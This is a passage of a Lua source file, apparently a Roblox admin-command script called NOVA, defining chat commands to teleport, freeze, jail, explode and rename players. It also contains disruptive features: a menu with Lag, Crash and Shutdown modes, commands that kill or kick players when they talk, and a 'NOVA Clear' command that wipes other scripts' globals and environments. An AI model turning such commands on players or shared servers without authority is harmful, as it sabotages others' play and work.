2490 | Output("Type","Random",Speaker,nil, | |
2491 | function() | |
2492 | RemoveTablets(Speaker) | |
2493 | Output("Kick",NOVA.Colors.Orange,Speaker,nil, | |
2494 | function() | |
2495 | NOVA.PRIType = "Kick" | |
2496 | RemoveTablets(Speaker) | |
2497 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2498 | end | |
2499 | ) | |
2500 | Output("Lag",NOVA.Colors.Red,Speaker,nil, | |
2501 | function() | |
2502 | NOVA.PRIType = "Lag" | |
2503 | RemoveTablets(Speaker) | |
2504 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2505 | end | |
2506 | ) | |
2507 | Output("Shutdown",NOVA.Colors.Orange,Speaker,nil, | |
2508 | function() | |
2509 | NOVA.PRIType = "Shutdown" | |
2510 | RemoveTablets(Speaker) | |
2511 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2512 | end | |
2513 | ) | |
2514 | Output("Crash",NOVA.Colors.Orange,Speaker,nil, | |
2515 | function() | |
2516 | NOVA.PRIType = "Crash" | |
2517 | RemoveTablets(Speaker) | |
2518 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2519 | end | |
2520 | ) | |
2521 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2522 | end | |
2523 | ) | |
2524 | Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil, | |
2525 | function() | |
2526 | NOVA.PRI = true | |
2527 | RemoveTablets(Speaker) | |
2528 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2529 | end | |
2530 | ) | |
2531 | ||
2532 | Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil, | |
2533 | function() | |
2534 | NOVA.PRI = false | |
2535 | RemoveTablets(Speaker) | |
2536 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2537 | end | |
2538 | ) | |
2539 | ||
2540 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2541 | end | |
2542 | ) | |
2543 | ||
2544 | --[[ GET COMMANDS ]]-- | |
2545 | ||
2546 | AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments", | |
2547 | function(Msg,Speaker) | |
2548 | if #Msg == 0 or Msg == nil then | |
2549 | RemoveTablets(Speaker) | |
2550 | for _,v in pairs(NOVA.Ranks) do | |
2551 | local RankNumber = v[1] | |
2552 | local RankName = v[2] | |
2553 | Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil, | |
2554 | function() | |
2555 | RemoveTablets(Speaker) | |
2556 | for _,v in pairs(GetPlayersRaw()) do | |
2557 | if GetRank(v) == RankNumber then | |
2558 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil, | |
2559 | function() | |
2560 | PlayerInterface(v,Speaker) | |
2561 | end | |
2562 | ) | |
2563 | end | |
2564 | end | |
2565 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
2566 | function() | |
2567 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
2568 | end | |
2569 | ) | |
2570 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2571 | end | |
2572 | ) | |
2573 | end | |
2574 | Output("ALL",NOVA.Colors.Blue,Speaker,nil, | |
2575 | function() | |
2576 | RemoveTablets(Speaker) | |
2577 | ||
2578 | for _,v in pairs(GetPlayersRaw()) do | |
2579 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil, | |
2580 | function() | |
2581 | PlayerInterface(v,Speaker) | |
2582 | end | |
2583 | ) | |
2584 | end | |
2585 | ||
2586 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
2587 | function() | |
2588 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
2589 | end | |
2590 | ) | |
2591 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2592 | end | |
2593 | ) | |
2594 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2595 | else | |
2596 | PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker) | |
2597 | end | |
2598 | end | |
2599 | ) | |
2600 | ||
2601 | AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>", | |
2602 | function(Msg,Speaker) | |
2603 | Split = GetSplit(Msg) | |
2604 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2605 | GetRankedTable(v).Desc = Msg:sub(Split+1) | |
2606 | SyncRankOutSingular(v) | |
2607 | end | |
2608 | end | |
2609 | ) | |
2610 | ||
2611 | AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>", | |
2612 | function(Msg,Speaker) | |
2613 | if Msg == "true" then | |
2614 | GetRankedTable(Speaker).CMD = true | |
2615 | elseif Msg == "false" then | |
2616 | GetRankedTable(Speaker).CMD = false | |
2617 | pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end) | |
2618 | else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5) | |
2619 | end | |
2620 | SyncRankOutSingular(Speaker) | |
2621 | end | |
2622 | ) | |
2623 | ||
2624 | AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments", | |
2625 | function(Msg,Speaker) | |
2626 | pcall(function() | |
2627 | for i=1,4 do | |
2628 | Instance.new("HopperBin",Speaker.Backpack).BinType = i | |
2629 | end | |
2630 | end) | |
2631 | end | |
2632 | ) | |
2633 | ||
2634 | AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments", | |
2635 | function(Msg,Speaker) | |
2636 | pcall(function() | |
2637 | Speaker:LoadCharacter() | |
2638 | end) | |
2639 | end | |
2640 | ) | |
2641 | ||
2642 | AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments", | |
2643 | function(Msg,Speaker) | |
2644 | Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId | |
2645 | end | |
2646 | ) | |
2647 | ||
2648 | AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>", | |
2649 | function(Msg,Speaker) | |
2650 | pcall(function() | |
2651 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2652 | for i=1,4 do | |
2653 | Instance.new("HopperBin",Speaker.Backpack).BinType = i | |
2654 | end | |
2655 | end | |
2656 | end) | |
2657 | end | |
2658 | ) | |
2659 | ||
2660 | AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>", | |
2661 | function(Msg,Speaker) | |
2662 | local Split = GetSplit(Msg) | |
2663 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2664 | if GetRank(Speaker) > GetRank(v) then | |
2665 | if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then | |
2666 | Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5) | |
2667 | else | |
2668 | GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1)) | |
2669 | SyncRankOutSingular(v) | |
2670 | end | |
2671 | end | |
2672 | end | |
2673 | end | |
2674 | ) | |
2675 | ||
2676 | AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>", | |
2677 | function(Msg,Speaker) | |
2678 | ||
2679 | Split = GetSplit(Msg) | |
2680 | send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker) | |
2681 | to = GetPlayers(string.sub(Msg,Split+1),Speaker) | |
2682 | for _,a in pairs(send) do | |
2683 | for _,b in pairs(to) do | |
2684 | pcall(function() | |
2685 | a.Character.Torso.CFrame = b.Character.Torso.CFrame | |
2686 | end) | |
2687 | end | |
2688 | end | |
2689 | ||
2690 | end | |
2691 | ) | |
2692 | ||
2693 | AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>", | |
2694 | function(Msg,Speaker) | |
2695 | ||
2696 | Split = GetSplit(Msg) | |
2697 | send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker) | |
2698 | to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1] | |
2699 | for i, player in pairs(send) do | |
2700 | pcall(function() | |
2701 | player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position) | |
2702 | * CFrame.Angles(0, math.rad(i * 360 / #send), 0) | |
2703 | * CFrame.new(0, 0, 3 + (#send*2) ) | |
2704 | end) | |
2705 | end | |
2706 | end | |
2707 | ) | |
2708 | ||
2709 | AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>", | |
2710 | function(Msg,Speaker) | |
2711 | Split = GetSplit(Msg) | |
2712 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2713 | pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end) | |
2714 | end | |
2715 | end | |
2716 | ) | |
2717 | ||
2718 | AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>", | |
2719 | function(Msg,Speaker) | |
2720 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2721 | pcall(function() | |
2722 | v.Character:BreakJoints() | |
2723 | E = Instance.new("Explosion",NOVA.Services.Workspace) | |
2724 | E.Position = v.Character.Torso.Position | |
2725 | E.BlastPressure = 124000 | |
2726 | end) | |
2727 | end | |
2728 | end | |
2729 | ) | |
2730 | ||
2731 | AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>", | |
2732 | function(Msg,Speaker) | |
2733 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2734 | pcall(function() | |
2735 | v.Character.Humanoid.MaxHealth = math.huge | |
2736 | end) | |
2737 | end | |
2738 | end | |
2739 | ) | |
2740 | ||
2741 | AddCommand("God","god",2,"makes the selected player god.","<Player>", | |
2742 | function(Msg,Speaker) | |
2743 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2744 | pcall(function() | |
2745 | v.Character.Torso.Touched:connect(function(part) | |
2746 | if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then | |
2747 | part.CanCollide = true | |
2748 | part:BreakJoints() | |
2749 | for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end | |
2750 | end | |
2751 | end) | |
2752 | end) | |
2753 | end | |
2754 | end | |
2755 | ) | |
2756 | ||
2757 | AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>", | |
2758 | function(Msg,Speaker) | |
2759 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2760 | pcall(function() | |
2761 | v.Character.Parent = NOVA.Services.Lighting | |
2762 | end) | |
2763 | end | |
2764 | end | |
2765 | ) | |
2766 | ||
2767 | AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>", | |
2768 | function(Msg,Speaker) | |
2769 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2770 | pcall(function() | |
2771 | v.Character.Parent = NOVA.Services.Workspace | |
2772 | v.Character:MakeJoints() | |
2773 | pcall(function() v.Character.Animate.Disabled = false end) | |
2774 | end) | |
2775 | end | |
2776 | end | |
2777 | ) | |
2778 | ||
2779 | AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>", | |
2780 | function(Msg,Speaker) | |
2781 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2782 | pcall(function() | |
2783 | for _,part in pairs(v.Character:GetChildren()) do | |
2784 | pcall(function() | |
2785 | part.Anchored = true | |
2786 | end) | |
2787 | end | |
2788 | end) | |
2789 | end | |
2790 | end | |
2791 | ) | |
2792 | ||
2793 | AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>", | |
2794 | function(Msg,Speaker) | |
2795 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2796 | pcall(function() | |
2797 | for _,part in pairs(v.Character:GetChildren()) do | |
2798 | pcall(function() | |
2799 | part.Anchored = false | |
2800 | end) | |
2801 | end | |
2802 | end) | |
2803 | end | |
2804 | end | |
2805 | ) | |
2806 | ||
2807 | AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>", | |
2808 | function(Msg,Speaker) | |
2809 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2810 | pcall(function() | |
2811 | for _,part in pairs(v.Backpack:GetChildren()) do | |
2812 | part:Destroy() | |
2813 | end | |
2814 | end) | |
2815 | end | |
2816 | end | |
2817 | ) | |
2818 | ||
2819 | AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>", | |
2820 | function(Msg,Speaker) | |
2821 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2822 | pcall(function() | |
2823 | v.Backpack:Destroy() | |
2824 | end) | |
2825 | end | |
2826 | end | |
2827 | ) | |
2828 | ||
2829 | AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>", | |
2830 | function(Msg,Speaker) | |
2831 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2832 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2833 | pcall(function() v.Character.Humanoid.Sit = true end) | |
2834 | end | |
2835 | end | |
2836 | ) | |
2837 | ||
2838 | AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>", | |
2839 | function(Msg,Speaker) | |
2840 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2841 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2842 | pcall(function() v.Character.Humanoid.Sit = false end) | |
2843 | end | |
2844 | end | |
2845 | ) | |
2846 | ||
2847 | AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>", | |
2848 | function(Msg,Speaker) | |
2849 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2850 | pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end) | |
2851 | pcall(function() v.Character.Humanoid.Jump = true end) | |
2852 | end | |
2853 | end | |
2854 | ) | |
2855 | ||
2856 | AddCommand("Control","control",2,"Controls the selected player","<Player>", | |
2857 | function(Msg,Speaker) | |
2858 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2859 | pcall(function() | |
2860 | Speaker.Character = v.Character | |
2861 | end) | |
2862 | end | |
2863 | end | |
2864 | ) | |
2865 | ||
2866 | AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>", | |
2867 | function(Msg,Speaker) | |
2868 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2869 | pcall(function() | |
2870 | for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
2871 | coroutine.resume(coroutine.create(function() | |
2872 | for i=1,10 do | |
2873 | wait() | |
2874 | v.Transparency = v.Transparency + 0.1 | |
2875 | end | |
2876 | end)) | |
2877 | end | |
2878 | end) | |
2879 | end | |
2880 | end | |
2881 | ) | |
2882 | ||
2883 | AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>", | |
2884 | function(Msg,Speaker) | |
2885 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2886 | pcall(function() | |
2887 | for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
2888 | coroutine.resume(coroutine.create(function() | |
2889 | for i=1,10 do | |
2890 | wait() | |
2891 | v.Transparency = v.Transparency - 0.1 | |
2892 | end | |
2893 | end)) | |
2894 | end | |
2895 | end) | |
2896 | end | |
2897 | end | |
2898 | ) | |
2899 | ||
2900 | AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>", | |
2901 | function(Msg,Speaker) | |
2902 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2903 | pcall(function() | |
2904 | for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end | |
2905 | end) | |
2906 | end | |
2907 | end | |
2908 | ) | |
2909 | ||
2910 | AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>", | |
2911 | function(Msg,Speaker) | |
2912 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2913 | pcall(function() | |
2914 | for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end | |
2915 | end) | |
2916 | end | |
2917 | end | |
2918 | ) | |
2919 | ||
2920 | AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>", | |
2921 | function(Msg,Speaker) | |
2922 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2923 | pcall(function() | |
2924 | coroutine.resume(coroutine.create(function() | |
2925 | local MainCF = v.Character.Torso.CFrame | |
2926 | local Main = Instance.new("Model",workspace) | |
2927 | Main.Name = "Main" | |
2928 | table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker}) | |
2929 | for Pitch = 1, 360, 360 do | |
2930 | for Yaw = 1, 360, 360/13 do | |
2931 | for Angle = 1,180, 8 do | |
2932 | local Part = Instance.new("Part",Main) | |
2933 | Part.Name = "Part" | |
2934 | Part.FormFactor = "Custom" | |
2935 | Part.TopSurface = "Smooth" | |
2936 | Part.BottomSurface = "Smooth" | |
2937 | Part.Reflectance = 0 | |
2938 | Part.Transparency = 0 | |
2939 | Part.Anchored = true | |
2940 | Part.Locked = true | |
2941 | Part.CanCollide = true | |
2942 | Part.BrickColor = BrickColor.new("Navy blue") | |
2943 | Part.Size = Vector3.new(2,1,4) | |
2944 | Part.CFrame = MainCF | |
2945 | * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle)) | |
2946 | * CFrame.new(0,5,0) | |
2947 | local Mesh = Instance.new("BlockMesh",Part) | |
2948 | Mesh.Scale = Vector3.new(1,1,0.1) | |
2949 | if math.floor(Angle/5) == Angle/5 then | |
2950 | wait() | |
2951 | end | |
2952 | end | |
2953 | end | |
2954 | end | |
2955 | ||
2956 | v.Character.Torso.CFrame = MainCF | |
2957 | ||
2958 | while Main.Parent ~= nil do | |
2959 | wait() | |
2960 | pcall(function() | |
2961 | if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then | |
2962 | v.Character.Torso.CFrame = MainCF | |
2963 | end | |
2964 | end) | |
2965 | end | |
2966 | end)) | |
2967 | end) | |
2968 | end | |
2969 | end | |
2970 | ) | |
2971 | ||
2972 | AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>", | |
2973 | function(Msg,Speaker) | |
2974 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2975 | for Num,Jail in pairs(NOVA.Jails) do | |
2976 | if Jail.Player ~= nil and Jail.Player == v then | |
2977 | pcall(function() Jail.Jail:Destroy() end) | |
2978 | table.remove(NOVA.Jails,Num) | |
2979 | end | |
2980 | end | |
2981 | end | |
2982 | end | |
2983 | ) | |
2984 | ||
2985 | AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments", | |
2986 | function(Msg,Speaker) | |
2987 | for i,v in pairs(_G) do | |
2988 | if type(v) == "function" and getfenv(v).NOVA == nil then | |
2989 | for var,val in pairs(getfenv(v)) do | |
2990 | pcall(function() getfenv(v)[var] = nil end) | |
2991 | end | |
2992 | end | |
2993 | end | |
2994 | for i,v in pairs(_G) do | |
2995 | _G[i] = nil | |
2996 | end | |
2997 | SetGlobals() | |
2998 | for _,v in pairs(NOVA.Services) do | |
2999 | v.Name = "Unknown Exception" | |
3000 | end | |
3001 | for i,v in pairs(GetRecursiveChildren()) do | |
3002 | pcall(function() | |
3003 | if not v:IsA("Player") then | |
3004 | pcall(function() | |
3005 | if Prometheus ~= nil and v == Prometheus.script("lushmylife") then | |
3006 | else | |
3007 | pcall(function() | |
3008 | v.Disabled = true | |
3009 | end) | |
3010 | pcall(function() | |
3011 | NOVA.Services.Debris:AddItem(v,0) | |
3012 | end) | |
3013 | end | |
3014 | end) | |
3015 | end | |
3016 | end) | |
3017 | end | |
3018 | for _,v in pairs(NOVA.Services) do | |
3019 | v.Name = v.className | |
3020 | end | |
3021 | local Base=Instance.new("Part",NOVA.Services.Workspace) | |
3022 | Base.Name="Base" | |
3023 | Base.Size=Vector3.new(2048,1,2048) | |
3024 | Base.BrickColor=BrickColor.new("Bright green") | |
3025 | Base.Anchored=true | |
3026 | Base.Locked=true | |
3027 | Base.TopSurface="Smooth" | |
3028 | Base.Transparency = 1 | |
3029 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3030 | local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation" | |
3031 | Spawn.Size=Vector3.new(6,1,6) | |
3032 | Spawn.Transparency=1 | |
3033 | Spawn.CanCollide=false | |
3034 | Spawn.Anchored=true | |
3035 | Spawn.Locked=true | |
3036 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3037 | for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end | |
3038 | end | |
3039 | ) | |
3040 | ||
3041 | AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>", | |
3042 | function (Msg,Speaker) | |
3043 | Split = GetSplit(Msg) | |
3044 | for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do | |
3045 | pcall(function() | |
3046 | Team = nil | |
3047 | for _,find in pairs(NOVA.Services.Teams:GetChildren()) do | |
3048 | if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then | |
3049 | Team = find | |
3050 | end | |
3051 | end | |
3052 | v.TeamColor = Team.TeamColor | |
3053 | end) | |
3054 | end | |
3055 | end | |
3056 | ) | |
3057 | ||
3058 | AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments", | |
3059 | function(Msg,Speaker) | |
3060 | RemoveTablets(Speaker) | |
3061 | for _,v in pairs(NOVA.Services.Teams:GetChildren()) do | |
3062 | if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then | |
3063 | v:Remove() | |
3064 | end | |
3065 | end | |
3066 | end | |
3067 | ) | |
3068 | ||
3069 | AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>", | |
3070 | function(Msg,Speaker) | |
3071 | Split = GetSplit(Msg) | |
3072 | Team = Instance.new("Team",NOVA.Services.Teams) | |
3073 | Team.TeamColor = BrickColor.new(Msg:sub(Split+1)) | |
3074 | Team.Name = Msg:sub(1,Split-1) | |
3075 | Team.AutoAssignable = false | |
3076 | Team.Neutral = false | |
3077 | end | |
3078 | ) | |
3079 | ||
3080 | AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>", | |
3081 | function(Msg,Speaker) | |
3082 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3083 | v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end) | |
3084 | end | |
3085 | end | |
3086 | ) | |
3087 | ||
3088 | AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>", | |
3089 | function(Msg,Speaker) | |
3090 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3091 | ||
3092 | local ride = Instance.new("VehicleSeat", Workspace) | |
3093 | ride.Position = v.Character.Torso.Position | |
3094 | ride.HeadsUpDisplay = false | |
3095 | ride.Size = Vector3.new(3,3,3) | |
3096 | local bg = Instance.new("BodyGyro", ride) | |
3097 | bg.maxTorque = Vector3.new(1e10,1e10,1e10) | |
3098 | local bp = Instance.new("BodyPosition", ride) | |
3099 | bp.position = v.Character.Torso.Position | |
3100 | bp.maxForce = Vector3.new(1e10,1e10,1e10) | |
3101 | Mesh = Instance.new("SpecialMesh") | |
3102 | Mesh.Parent = ride | |
3103 | Mesh.MeshType = Enum.MeshType.Sphere | |
3104 | ride.Transparency = 0.40000000596046 | |
3105 | ||
3106 | while wait() do | |
3107 | bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0) | |
3108 | bp.position = bp.position + bg.cframe.lookVector*ride.Throttle | |
3109 | end | |
3110 | ||
3111 | end | |
3112 | end | |
3113 | ) | |
3114 | ||
3115 | ||
3116 | ||
3117 | AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>", | |
3118 | function(Msg,Speaker) | |
3119 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3120 | v.Chatted:connect(function() pcall(function() v:Destroy() end) end) | |
3121 | end | |
3122 | end | |
3123 | ) | |
3124 | ||
3125 | AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments", | |
3126 | function(Msg,Speaker) | |
3127 | for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do | |
3128 | if Prometheus ~= nil then | |
3129 | if v ~= Prometheus.script("lushmylife") then | |
3130 | pcall(function() | |
3131 | v:Destroy() | |
3132 | end) | |
3133 | end | |
3134 | else | |
3135 | pcall(function() | |
3136 | v:Destroy() | |
3137 | end) | |
3138 | end | |
3139 | end | |
3140 | ||
3141 | local Base=Instance.new("Part",NOVA.Services.Workspace) | |
3142 | Base.Name="Base" | |
3143 | Base.Size=Vector3.new(2048,1,2048) | |
3144 | Base.BrickColor=BrickColor.new("Dark green") | |
3145 | Base.Anchored=true | |
3146 | Base.Locked=true | |
3147 | Base.TopSurface="Studs" | |
3148 | Base.Transparency = 0 | |
3149 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3150 | local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation" | |
3151 | Spawn.Size=Vector3.new(6,1,6) | |
3152 | Spawn.Transparency=1 | |
3153 | Spawn.CanCollide=false | |
3154 | Spawn.Anchored=true | |
3155 | Spawn.Locked=true | |
3156 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3157 | for _,v in pairs(GetPlayersRaw()) do | |
3158 | v:LoadCharacter() | |
3159 | end | |
3160 | ||
3161 | end | |
3162 | ) | |
3163 | ||
3164 | AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments", | |
3165 | function(Msg,Speaker) | |
3166 | RemoveTablets(Speaker) | |
3167 | Explore(game,Speaker) | |
3168 | end | |
3169 | ) | |
3170 | ||
3171 | AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments", | |
3172 | function(Msg,Speaker) | |
3173 | if NOVA.LockedScripts == true then | |
3174 | NOVA.LockedScripts = false | |
3175 | elseif NOVA.LockedScripts == false then | |
3176 | NOVA.LockedScripts = true | |
3177 | end | |
3178 | ||
3179 | end | |
3180 | ) | |
3181 | ||
3182 | AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>", | |
3183 | function(Msg,Speaker) | |
3184 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3185 | for i=1,25 do | |
3186 | coroutine.resume(coroutine.create(function() | |
3187 | wait() | |
3188 | local Part = Instance.new("Part",NOVA.Services.Workspace) | |
3189 | Part.FormFactor = "Custom" | |
3190 | Part.Transparency = 1 | |
3191 | Part.CanCollide = false | |
3192 | Part.Anchored = false | |
3193 | Part.Locked = true | |
3194 | Part.Size = Vector3.new(1,1,1) | |
3195 | Part.CFrame = v.Character.Head.CFrame | |
3196 | Part:BreakJoints() | |
3197 | ||
3198 | local BBG = Instance.new("BillboardGui",Part) | |
3199 | BBG.Adornee = Part | |
3200 | BBG.Size = UDim2.new(3,0,1,0) | |
3201 | --BBG.StudsOffset = Vector3.new(0, 0, 1) | |
3202 | ||
3203 | local Img = Instance.new("ImageLabel",BBG) | |
3204 | Img.Size = UDim2.new(1,0,1,0) | |
3205 | Img.BackgroundTransparency = 1 | |
3206 | Img.Image = "http://www.roblox.com/asset/?id=45120559" | |
3207 | ||
3208 | local BP = Instance.new("BodyPosition",Part) | |
3209 | BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
3210 | --BP.D = 2000 | |
3211 | BP.P = 1000 | |
3212 | BP.position = Part.Position + Vector3.new( | |
3213 | math.random(-7,7), | |
3214 | math.random(-7,7), | |
3215 | math.random(-7,7)) | |
3216 | ||
3217 | for v = 3,0,-0.1 do | |
3218 | wait(0.1) | |
3219 | BBG.Size = UDim2.new(v,0,v,0) | |
3220 | end | |
3221 | Part:Remove() | |
3222 | end)) | |
3223 | end | |
3224 | end | |
3225 | end | |
3226 | ) | |
3227 | ||
3228 | AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments", | |
3229 | function(Msg,Speaker) | |
3230 | NOVA.Canceled = true | |
3231 | end | |
3232 | ) | |
3233 | ||
3234 | AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>", | |
3235 | function(Msg,Speaker) | |
3236 | Split = GetSplit(Msg) | |
3237 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3238 | pcall(function() | |
3239 | local OldHead = v.Character.Head | |
3240 | local Model = Instance.new("Model",v.Character.Head) | |
3241 | Model.Name = Msg:sub(Split+1) | |
3242 | local Head = OldHead:Clone() | |
3243 | Head.Parent = Model | |
3244 | Head.Transparency = 0 | |
3245 | Head.Name = "Head" | |
3246 | Head.CanCollide = false | |
3247 | local Hum = Instance.new("Humanoid",Model) | |
3248 | Hum.MaxHealth = 0 | |
3249 | local Weld = Instance.new("Weld",Head) | |
3250 | Weld.Part0 = Head | |
3251 | Weld.Part1 = OldHead | |
3252 | Weld.C0 = CFrame.new(0,0,0) | |
3253 | OldHead.Transparency = 1 | |
3254 | end) | |
3255 | end | |
3256 | end | |
3257 | ) | |
3258 | ||
